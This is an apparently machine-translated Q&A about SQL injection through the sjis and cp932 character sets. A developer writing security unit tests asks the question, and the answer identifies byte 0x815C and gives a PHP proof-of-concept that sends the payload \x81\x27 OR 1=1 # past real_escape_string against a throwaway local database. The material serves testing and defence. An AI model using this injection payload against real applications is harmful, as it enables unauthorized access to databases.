如何使用Shift-JIS和CP932創建SQL注入攻擊？

Question

我在寫一些單元測試，以確保我的代碼在各種字符集下不容易受到SQL注入的攻擊。 big5，cp932，gb2312，gbk和sjis

這是因爲如果你的逃避者配置不正確，就會看到：

據this answer，您可以通過使用以下字符集的一個注入\xbf\x27創建漏洞0x27並嘗試將其轉義爲\xbf\x5c\x27。但是，\xbf\x5c實際上是其中一個字符在這些字符集中，因此報價（0x27）未經轉義。

然而，正如我通過測試發現的，這並非完全正確。它適用於big5，gb2312和gbk但既不0xbf27或0xbf5c在sjis和cp932有效字符。

兩個

mb_strpos("abc\xbf\x27def","'",0,'sjis') 

和

mb_strpos("abc\xbf\x27def","'",0,'cp932') 

返回4。即，PHP不會將\xbf\x27看作單個字符。這爲big5，gb2312和gbk返回false。

而且，這樣的：

mb_strlen("\xbf\x5c",'sjis') 

返回2（它返回1爲gbk）。

所以，問題是：是否有另一個字符序列，使sjis和cp932容易受到SQL注入，或者是他們居然不弱勢在所有？或者是說謊的PHP，我完全錯誤了，MySQL會完全不同的解釋？

Answer 1

魔鬼在細節......讓我們先從如何answer in question描述的弱勢字符集列表：

對於這種攻擊的工作，我們需要一個服務器都期待在連接上的編碼以編碼'，如在ASCII中，即0x27和具有某些字符，其最終字節是ASCII \即0x5c。事實證明，MySQL 5.6默認支持5種這樣的編碼：big5,cp932,gb2312,gbk和sjis。 我們在這裏選擇gbk。

這給了我們一些背景 - 0xbf5c作爲一個例子gbk，而不是作爲通用字符用於所有5個字符集。
恰恰相同的是，相同的字節序列也是big5和gb2312下的有效字符。

在這一點上，你的問題就變成了，因爲這很容易：

哪個字節序列cp932和sjis下一個有效的字符和0x5c結束？

公平起見，我爲這些字符集嘗試的大多數谷歌搜索都沒有給出任何有用的結果。但我沒有找到this CP932.TXT file，如果您在其中搜索'5c '（與空間存在），你會跳轉到該行：

0x815C 0x2015 #HORIZONTAL BAR

而且我們有一個贏家！ :)

Some Oracle document確認0x815c是兩個cp932和sjis相同的字符和PHP承認它太：

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis")); 
int(1) 
int(1) 

下面是攻擊的PoC腳本：

<?php 
$username = 'username'; 
$password = 'password'; 

$mysqli = new mysqli('localhost', $username, $password); 
foreach (array('cp932', 'sjis') as $charset) 
{ 
     $mysqli->query("SET NAMES {$charset}"); 
     $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}"); 
     $mysqli->query("USE {$charset}_db"); 
     $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)"); 
     $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')"); 

     $input = "\x81\x27 OR 1=1 #"; 
     $input = $mysqli->real_escape_string($input); 
     $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1"; 
     $result = $mysqli->query($query); 
     if ($result->num_rows > 1) 
     { 
       echo "{$charset} exploit successful!\n"; 
     } 

     $mysqli->query("DROP DATABASE {$charset}_db"); 
}